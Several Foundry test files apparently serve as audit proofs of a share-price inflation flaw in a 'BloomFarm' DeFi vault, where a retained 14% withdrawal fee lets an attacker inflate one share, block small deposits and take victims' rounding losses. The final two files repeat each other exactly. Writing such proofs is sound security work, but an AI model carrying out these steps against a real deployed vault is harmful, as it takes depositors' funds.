BLOOM — Mainnet Smart Contracts V2.4

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {BloomFarm} from "src/BloomFarm.sol";
import {Treasury} from "src/Treasury.sol";

contract PlainToken {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint8 public immutable decimals;

    constructor(uint8 d) {
        decimals = d;
    }

    function mint(address to, uint256 a) external {
        balanceOf[to] += a;
    }

    function approve(address s, uint256 a) external returns (bool) {
        allowance[msg.sender][s] = a;
        return true;
    }

    function transfer(address to, uint256 a) external returns (bool) {
        balanceOf[msg.sender] -= a;
        balanceOf[to] += a;
        return true;
    }

    function transferFrom(address f, address to, uint256 a) external returns (bool) {
        allowance[f][msg.sender] -= a;
        balanceOf[f] -= a;
        balanceOf[to] += a;
        return true;
    }
}

contract InflationGriefTest is Test {
    address owner = makeAddr("owner");
    address attackerA = makeAddr("attackerA");
    address attackerB = makeAddr("attackerB");
    address victim = makeAddr("victim");
    PlainToken simd;
    PlainToken bloom;
    Treasury treasury;
    BloomFarm farm;

    function setUp() public {
        simd = new PlainToken(18);
        bloom = new PlainToken(18);
        treasury = new Treasury(owner);
        farm = new BloomFarm(owner, address(treasury), address(simd), address(bloom), 18, BloomFarm.Kind.SIMD);
        vm.prank(owner);
        farm.setDepositsPaused(false);
    }

    function _deposit(address who, uint256 amount, uint256 minShares) internal returns (uint256) {
        simd.mint(who, amount);
        vm.startPrank(who);
        simd.approve(address(farm), amount);
        uint256 s = farm.deposit(amount, minShares);
        vm.stopPrank();
        return s;
    }

    /// Retained 14% withdrawal fee is an internal donation channel: one 1-wei share
    /// can be made worth 14% of any cycled amount for a 1% cost, after which ordinary
    /// deposits revert ZeroShares or silently lose up to one share's value.
    function attackStep(address who, uint256 amount, bool cycle) external {
        require(msg.sender == address(this));
        uint256 shares = _deposit(who, amount, 1);
        if (cycle) {
            vm.prank(who);
            farm.withdraw(shares, 0, payable(who), false);
        }
    }

    function testRetainedFeeInflatesSingleWeiShare() public {
        uint256 treasuryBefore = simd.balanceOf(address(treasury));
        // Attacker wallet A takes the first, only share with 1 wei; wallet B cycles 100 tokens once.
        // (If a fix rejects either step, the attack is prevented and the victim checks below still apply.)
        try this.attackStep(attackerA, 1, false) {} catch {}
        try this.attackStep(attackerB, 100e18, true) {} catch {}
        // Attacker's net cost is only the 1% Treasury fee: 14% stays inside A's single share.
        assertLe(simd.balanceOf(address(treasury)) - treasuryBefore, 1e18);

        // A victim's 10-token deposit must still mint shares.
        simd.mint(victim, 10e18);
        vm.startPrank(victim);
        simd.approve(address(farm), 10e18);
        bool smallDepositOk;
        try farm.deposit(10e18, 1) returns (uint256) {
            smallDepositOk = true;
        } catch {}
        vm.stopPrank();
        assertTrue(smallDepositOk, "10-token deposit reverted: 1 share inflated to 14 tokens for a 1-token cost");
    }

    function testInflatedShareSilentlyTakesDepositValue() public {
        try this.attackStep(attackerA, 1, false) {} catch {}
        try this.attackStep(attackerB, 100e18, true) {} catch {}
        // previewDeposit(20e18) == 1 share, so minSharesOut = preview passes,
        // yet that share is worth ~17 tokens before any withdrawal fee.
        uint256 preview = farm.previewDeposit(20e18);
        uint256 vShares = _deposit(victim, 20e18, preview == 0 ? 1 : preview);
        uint256 victimValue = vShares * farm.accountedAssets() / farm.totalShares();
        assertGe(victimValue, 20e18 * 9999 / 10_000, "deposit lost value to share-price rounding");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import {BloomFarm} from "src/BloomFarm.sol";
import {FarmFactory} from "src/FarmFactory.sol";
import {Treasury} from "src/Treasury.sol";

contract ScratchToken is IERC20Metadata {
    string public name = "T";
    string public symbol = "T";
    uint8 public immutable decimals;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(uint8 d) {
        decimals = d;
    }

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @notice Share-price inflation through the retained 14% of the attacker's own withdrawal.
contract InflationScratchTest is Test {
    address owner = makeAddr("owner");
    address attacker = makeAddr("attacker");
    address victim = makeAddr("victim");
    ScratchToken simd;
    ScratchToken bloom;
    ScratchToken weth;
    BloomFarm farm;

    function setUp() public {
        vm.warp(1_000_000);
        simd = new ScratchToken(18);
        bloom = new ScratchToken(18);
        weth = new ScratchToken(18);
        Treasury treasury = new Treasury(owner);
        FarmFactory factory = new FarmFactory(owner, address(treasury));
        vm.startPrank(owner);
        factory.configureToken(BloomFarm.Kind.SIMD, address(simd), keccak256("s"));
        factory.configureToken(BloomFarm.Kind.BLOOM, address(bloom), keccak256("b"));
        factory.configureToken(BloomFarm.Kind.ETH, address(weth), keccak256("w"));
        factory.setWhitelisted(address(simd), true);
        factory.setWhitelisted(address(bloom), true);
        factory.setWhitelisted(address(weth), true);
        farm = factory.createFarm(BloomFarm.Kind.SIMD);
        farm.setDepositsPaused(false);
        vm.stopPrank();
    }

    function _deposit(address who, uint256 amount) internal returns (uint256) {
        simd.mint(who, amount);
        vm.startPrank(who);
        simd.approve(address(farm), amount);
        uint256 shares = farm.deposit(amount, 1);
        vm.stopPrank();
        return shares;
    }

    function testRetainedFeeInflatesSharePriceAndGriefsDepositors() public {
        // Cycle 1: 1,000 tokens in, withdraw all but one share. 10 tokens go to Treasury,
        // 140 tokens are "retained" into the attacker's single remaining share.
        uint256 shares = _deposit(attacker, 1_000e18);
        assertEq(shares, 1_000e18);
        vm.prank(attacker);
        farm.withdraw(shares - 1, 0, payable(attacker), false);
        assertEq(farm.totalShares(), 1);
        uint256 pricePerShare = farm.accountedAssets();
        emit log_named_uint("assets backing the single share after cycle 1", pricePerShare);
        assertGt(pricePerShare, 140e18);

        // Cycle 2: repeat with more capital; the single share now backs > 1,400 tokens.
        shares = _deposit(attacker, 1_400e18 + 1_400e18);
        uint256 held = farm.sharesOf(attacker);
        vm.prank(attacker);
        farm.withdraw(held - 1, 0, payable(attacker), false);
        pricePerShare = farm.accountedAssets();
        emit log_named_uint("assets backing the single share after cycle 2", pricePerShare);

        // Expected (protected design): a 100-token deposit mints shares. Actual: ZeroShares revert.
        simd.mint(victim, 100e18);
        vm.startPrank(victim);
        simd.approve(address(farm), 100e18);
        vm.expectRevert(BloomFarm.ZeroShares.selector);
        farm.deposit(100e18, 1);
        vm.stopPrank();

        // A deposit just under two share-prices mints exactly one share and loses ~half to rounding.
        uint256 victimDeposit = pricePerShare * 2 - 1;
        uint256 victimShares = _deposit(victim, victimDeposit);
        assertEq(victimShares, 1);
        (uint256 victimGross,,,) = farm.previewWithdraw(1);
        emit log_named_uint("victim deposited", victimDeposit);
        emit log_named_uint("victim position gross value", victimGross);
        uint256 lost = victimDeposit - victimGross;
        emit log_named_uint("victim value lost to rounding", lost);

        // Attacker exits its single share and finishes with more tokens than it started with,
        // even after paying 15% withdrawal fees on every exit.
        uint256 attackerBefore = simd.balanceOf(attacker);
        vm.prank(attacker);
        uint256 net = farm.withdraw(1, 0, payable(attacker), false);
        emit log_named_uint("attacker final exit net", net);
        uint256 attackerTotal = attackerBefore + net;
        emit log_named_uint("attacker total received", attackerTotal);
        emit log_named_uint("attacker total deposited", 1_000e18 + 2_800e18);

        // Protected design expectation: the victim does not lose more than 1% of its deposit
        // to share rounding at deposit time. Fails on current code (loses ~50%).
        assertLe(lost, victimDeposit / 100, "victim lost more than 1% to deposit rounding");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import {BloomFarm} from "src/BloomFarm.sol";
import {FarmFactory} from "src/FarmFactory.sol";
import {Treasury} from "src/Treasury.sol";

/// @dev Minimal exact-transfer ERC-20 for the proof. No project test helpers are imported.
contract ProofToken is IERC20Metadata {
    string public constant name = "T";
    string public constant symbol = "T";
    uint8 public constant decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
        emit Transfer(address(0), to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

/// @notice A first depositor inflates the value of one internal share through the 14% retention
/// path (withdraw all but one share). Afterwards every later deposit is rounded down to multiples
/// of that share value, the dust accrues to the attacker, and deposits below one share revert.
/// Nothing can lower assets-per-share again while the attacker keeps the single share.
contract ShareInflationProofTest is Test {
    address owner = makeAddr("owner");
    address attacker = makeAddr("attacker");
    address victim = makeAddr("victim");
    address small = makeAddr("small");
    ProofToken simd;
    ProofToken bloom;
    ProofToken weth;
    Treasury treasury;
    FarmFactory factory;
    BloomFarm farm;

    function setUp() public {
        vm.warp(1_000_000);
        simd = new ProofToken();
        bloom = new ProofToken();
        weth = new ProofToken();
        treasury = new Treasury(owner);
        factory = new FarmFactory(owner, address(treasury));
        vm.startPrank(owner);
        factory.configureToken(BloomFarm.Kind.SIMD, address(simd), keccak256("simd"));
        factory.configureToken(BloomFarm.Kind.BLOOM, address(bloom), keccak256("bloom"));
        factory.configureToken(BloomFarm.Kind.ETH, address(weth), keccak256("weth"));
        factory.setWhitelisted(address(simd), true);
        factory.setWhitelisted(address(bloom), true);
        farm = factory.createFarm(BloomFarm.Kind.SIMD);
        farm.setDepositsPaused(false);
        vm.stopPrank();
    }

    function _deposit(address who, uint256 amount) internal returns (uint256 shares) {
        simd.mint(who, amount);
        vm.startPrank(who);
        simd.approve(address(farm), amount);
        shares = farm.deposit(amount, 1);
        vm.stopPrank();
    }

    function testFirstDepositorCannotMakeOneShareWorthAMaterialAmount() public {
        uint256 X = 100 ether;
        // 1. Attacker deposits X and immediately withdraws all shares but one.
        //    85% is paid back, 1% goes to Treasury and 14% is retained by the single remaining share.
        uint256 attackerShares = _deposit(attacker, X);
        vm.prank(attacker);
        farm.withdraw(attackerShares - 1, 0, payable(attacker), false);
        assertEq(farm.totalShares(), 1);

        // 2. A deposit of 1 token (1% of X) now mints zero shares and is rejected forever,
        //    because one share is backed by ~14 tokens.
        simd.mint(small, 1 ether);
        vm.startPrank(small);
        simd.approve(address(farm), 1 ether);
        (bool ok,) = address(farm).call(abi.encodeCall(farm.deposit, (1 ether, 1)));
        vm.stopPrank();
        assertTrue(ok, "a 1-token deposit must still mint shares after a 100-token depositor left");

        // 3. A depositor of 2 shares' worth minus 1 wei receives a single share and loses ~1/3 of
        //    the deposit to the attacker's share on entry (before any withdrawal fee).
        uint256 V = 2 * farm.accountedAssets() - 1;
        uint256 victimShares = _deposit(victim, V);
        uint256 victimBacking = Math_mulDiv(victimShares, farm.accountedAssets(), farm.totalShares());
        assertGe(victimBacking, V * 99 / 100, "victim must keep at least 99% of their deposit on entry");
    }

    function Math_mulDiv(uint256 a, uint256 b, uint256 d) internal pure returns (uint256) {
        return a * b / d;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import {BloomFarm} from "src/BloomFarm.sol";
import {FarmFactory} from "src/FarmFactory.sol";
import {Treasury} from "src/Treasury.sol";

/// @dev Minimal exact-transfer 18-decimal ERC-20, test-only.
contract ProofToken is IERC20Metadata {
    string public name = "T";
    string public symbol = "T";
    uint8 public constant decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
        emit Transfer(address(0), to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

/// @notice Share-price inflation through the farm's own 14% retention, not through a donation.
/// An attacker who is the first depositor mints 1 share for 1 wei, then deposits and withdraws
/// 1,000 tokens from a second wallet. The 14% retained fee (140 tokens) now backs that single share.
/// Every later depositor loses up to one share price (140 tokens) to rounding, and any deposit
/// below 140 tokens reverts with ZeroShares. The attacker's only cost is the 1% Treasury fee.
contract InflationViaRetentionTest is Test {
    address internal owner = makeAddr("owner");
    address internal attackerA = makeAddr("attackerA");
    address internal attackerB = makeAddr("attackerB");
    address internal victim = makeAddr("victim");

    ProofToken internal simd;
    ProofToken internal bloom;
    ProofToken internal weth;
    Treasury internal treasury;
    FarmFactory internal factory;
    BloomFarm internal farm;

    function setUp() public {
        vm.warp(1_000_000);
        simd = new ProofToken();
        bloom = new ProofToken();
        weth = new ProofToken();
        treasury = new Treasury(owner);
        factory = new FarmFactory(owner, address(treasury));
        vm.startPrank(owner);
        factory.configureToken(BloomFarm.Kind.SIMD, address(simd), keccak256("simd"));
        factory.configureToken(BloomFarm.Kind.BLOOM, address(bloom), keccak256("bloom"));
        factory.configureToken(BloomFarm.Kind.ETH, address(weth), keccak256("weth"));
        factory.setWhitelisted(address(simd), true);
        factory.setWhitelisted(address(bloom), true);
        factory.setWhitelisted(address(weth), true);
        farm = factory.createFarm(BloomFarm.Kind.SIMD);
        farm.setDepositsPaused(false);
        vm.stopPrank();
    }

    function _deposit(address who, uint256 amount) internal returns (uint256 shares) {
        simd.mint(who, amount);
        vm.startPrank(who);
        simd.approve(address(farm), amount);
        // Honest slippage bound: exactly what the public preview promises at send time.
        shares = farm.deposit(amount, farm.previewDeposit(amount));
        vm.stopPrank();
    }

    function _inflate() internal {
        // Step 1: first depositor mints exactly one share for one wei.
        _deposit(attackerA, 1);
        assertEq(farm.totalShares(), 1);
        // Step 2: second wallet deposits 1,000 tokens and withdraws everything at once.
        uint256 sharesB = _deposit(attackerB, 1_000 ether);
        vm.prank(attackerB);
        farm.withdraw(sharesB, 0, payable(attackerB), false);
        // 14% (140 tokens) stayed in the farm and now backs the attacker's single share.
        assertEq(farm.totalShares(), 1);
        assertEq(farm.accountedAssets(), 140 ether + 1);
    }

    function testSmallDepositsAreBrickedAfterRetentionInflation() public {
        _inflate();
        // Expected: a 100-token deposit into a farm mints a non-zero number of shares.
        // Actual: previewDeposit returns 0 and deposit() reverts with ZeroShares forever,
        // because accountedAssets/totalShares can only grow.
        assertGt(farm.previewDeposit(100 ether), 0, "100-token deposit mints zero shares");
    }

    function testVictimLosesRoundingRemainderToAttacker() public {
        _inflate();
        uint256 victimDeposit = 280 ether + 1;
        uint256 victimShares = _deposit(victim, victimDeposit);
        // Victim's share-backed position right after depositing, before any fee.
        (uint256 victimGross,,,) = farm.previewWithdraw(victimShares);
        // Expected: a fresh depositor's position is worth (almost) exactly what they deposited.
        // Actual: 1 share worth 210 tokens for a 280-token deposit; 70 tokens moved to attacker A.
        assertGe(victimGross, victimDeposit * 99 / 100, "victim lost more than 1% to share rounding");

        // Attacker closes out with a profit, net of the 15% fee on both withdrawals.
        vm.prank(attackerA);
        farm.withdraw(1, 0, payable(attackerA), false);
        uint256 attackerOut = simd.balanceOf(attackerA) + simd.balanceOf(attackerB);
        assertLe(attackerOut, 1_000 ether + 1, "attacker extracted value from the victim");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import {BloomFarm} from "src/BloomFarm.sol";
import {FarmFactory} from "src/FarmFactory.sol";
import {Treasury} from "src/Treasury.sol";

/// @dev Minimal exact-transfer 18-decimal ERC-20, test-only.
contract ProofToken is IERC20Metadata {
    string public name = "T";
    string public symbol = "T";
    uint8 public constant decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
        emit Transfer(address(0), to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

/// @notice Share-price inflation through the farm's own 14% retention, not through a donation.
/// An attacker who is the first depositor mints 1 share for 1 wei, then deposits and withdraws
/// 1,000 tokens from a second wallet. The 14% retained fee (140 tokens) now backs that single share.
/// Every later depositor loses up to one share price (140 tokens) to rounding, and any deposit
/// below 140 tokens reverts with ZeroShares. The attacker's only cost is the 1% Treasury fee.
contract InflationViaRetentionTest is Test {
    address internal owner = makeAddr("owner");
    address internal attackerA = makeAddr("attackerA");
    address internal attackerB = makeAddr("attackerB");
    address internal victim = makeAddr("victim");

    ProofToken internal simd;
    ProofToken internal bloom;
    ProofToken internal weth;
    Treasury internal treasury;
    FarmFactory internal factory;
    BloomFarm internal farm;

    function setUp() public {
        vm.warp(1_000_000);
        simd = new ProofToken();
        bloom = new ProofToken();
        weth = new ProofToken();
        treasury = new Treasury(owner);
        factory = new FarmFactory(owner, address(treasury));
        vm.startPrank(owner);
        factory.configureToken(BloomFarm.Kind.SIMD, address(simd), keccak256("simd"));
        factory.configureToken(BloomFarm.Kind.BLOOM, address(bloom), keccak256("bloom"));
        factory.configureToken(BloomFarm.Kind.ETH, address(weth), keccak256("weth"));
        factory.setWhitelisted(address(simd), true);
        factory.setWhitelisted(address(bloom), true);
        factory.setWhitelisted(address(weth), true);
        farm = factory.createFarm(BloomFarm.Kind.SIMD);
        farm.setDepositsPaused(false);
        vm.stopPrank();
    }

    function _deposit(address who, uint256 amount) internal returns (uint256 shares) {
        simd.mint(who, amount);
        vm.startPrank(who);
        simd.approve(address(farm), amount);
        // Honest slippage bound: exactly what the public preview promises at send time.
        shares = farm.deposit(amount, farm.previewDeposit(amount));
        vm.stopPrank();
    }

    function _inflate() internal {
        // Step 1: first depositor mints exactly one share for one wei.
        _deposit(attackerA, 1);
        assertEq(farm.totalShares(), 1);
        // Step 2: second wallet deposits 1,000 tokens and withdraws everything at once.
        uint256 sharesB = _deposit(attackerB, 1_000 ether);
        vm.prank(attackerB);
        farm.withdraw(sharesB, 0, payable(attackerB), false);
        // 14% (140 tokens) stayed in the farm and now backs the attacker's single share.
        assertEq(farm.totalShares(), 1);
        assertEq(farm.accountedAssets(), 140 ether + 1);
    }

    function testSmallDepositsAreBrickedAfterRetentionInflation() public {
        _inflate();
        // Expected: a 100-token deposit into a farm mints a non-zero number of shares.
        // Actual: previewDeposit returns 0 and deposit() reverts with ZeroShares forever,
        // because accountedAssets/totalShares can only grow.
        assertGt(farm.previewDeposit(100 ether), 0, "100-token deposit mints zero shares");
    }

    function testVictimLosesRoundingRemainderToAttacker() public {
        _inflate();
        uint256 victimDeposit = 280 ether + 1;
        uint256 victimShares = _deposit(victim, victimDeposit);
        // Victim's share-backed position right after depositing, before any fee.
        (uint256 victimGross,,,) = farm.previewWithdraw(victimShares);
        // Expected: a fresh depositor's position is worth (almost) exactly what they deposited.
        // Actual: 1 share worth 210 tokens for a 280-token deposit; 70 tokens moved to attacker A.
        assertGe(victimGross, victimDeposit * 99 / 100, "victim lost more than 1% to share rounding");

        // Attacker closes out with a profit, net of the 15% fee on both withdrawals.
        vm.prank(attackerA);
        farm.withdraw(1, 0, payable(attackerA), false);
        uint256 attackerOut = simd.balanceOf(attackerA) + simd.balanceOf(attackerB);
        assertLe(attackerOut, 1_000 ether + 1, "attacker extracted value from the victim");
    }
}